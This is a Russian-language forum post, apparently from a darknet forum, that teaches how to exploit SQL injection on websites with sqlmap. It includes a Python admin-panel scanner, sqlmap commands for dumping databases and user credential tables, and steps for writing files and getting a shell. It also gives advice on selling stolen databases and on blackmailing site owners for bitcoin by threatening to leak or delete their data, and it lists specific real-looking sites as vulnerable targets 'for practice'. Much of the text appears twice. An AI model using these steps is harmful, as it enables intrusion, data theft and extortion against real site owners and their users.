Всем доброго времени суток!
Допустим мы имеем URL pentagon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если неповезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.
Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:
Если админка найдена, смотрим бд сайта
Затем смотрим таблицы бд:
(заменяем database_name на имя бд)
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:
Если есть поля username и password,
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.
В таблице смотрим на поле с паролем.
!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.
2. Заливка шелла
Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов.
На вопрос Do you want to confirm that the source and destination files are same? отвечаем Y. Если пишет files are the same, бинго! У нас есть права на запись. Далее просто ишем путь до сайта и льем полезный код. Прав на запись в папку сайта может не быть.
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.
3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.
4. Шантаж
Тут не помешают навыки соц. инжинерии.
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.
5. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.
Для практики:
Автор: AimZ
Допустим мы имеем URL pentagon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если неповезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.
Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:
#!/usr/bin/python
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,singin.php,gate.php,adminer.php"
print "~"*20
print "Admin Finder By AimZ"
print " "*20 + "~"*20
print "Special for Runion users"
print "~"*20
def load(url):
resp = requests.get(url)
text = resp.text.lower()
if resp.status_code == 200 and "page not found" not in text:
return url
def find(url):
global admins
found = []
if "htt" in url and "/" in url and "." in url:
url = str(url+" ").replace("/ ", "")
for link in admins.split(","):
loaded = load(url + "/" + link)
if loaded != None:
found.append(loaded)
return found
else:
print "Incorrect url!"
url = raw_input("Enter url: ")
print "#"*20
for i in find(url):
print "Found: " + i
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,singin.php,gate.php,adminer.php"
print "~"*20
print "Admin Finder By AimZ"
print " "*20 + "~"*20
print "Special for Runion users"
print "~"*20
def load(url):
resp = requests.get(url)
text = resp.text.lower()
if resp.status_code == 200 and "page not found" not in text:
return url
def find(url):
global admins
found = []
if "htt" in url and "/" in url and "." in url:
url = str(url+" ").replace("/ ", "")
for link in admins.split(","):
loaded = load(url + "/" + link)
if loaded != None:
found.append(loaded)
return found
else:
print "Incorrect url!"
url = raw_input("Enter url: ")
print "#"*20
for i in find(url):
print "Found: " + i
Если админка найдена, смотрим бд сайта
Код:
sqlmap -u ... --current-db
Код:
sqlmap -u ... -D database_name --tables
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:
Код:
sqlmap -u ... -D database_name -T users,admin,members,etc. --columns
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.
Код:
sqlmap -u ... -D database_name -T admin -C username, password,is_admin --dump --threads 3
!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.
2. Заливка шелла
Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов.
Код:
sqlmap -u ... --file-write=test.txt --file-dest=/tmp/file
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.
3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.
Код:
sqlmap -u ... --threads 10 -D db --dump -o
Тут не помешают навыки соц. инжинерии.
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.
5. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.
Для практики:
mormonlit.lib.byu.edu/lit_publisher.php?p_id=10,p_id
beckerpipes.com/en/notizia.php?p_id=34,p_id
theatrotechnis.com/show.php?id=38,id
beckerpipes.com/en/notizia.php?p_id=34,p_id
theatrotechnis.com/show.php?id=38,id
Автор: AimZ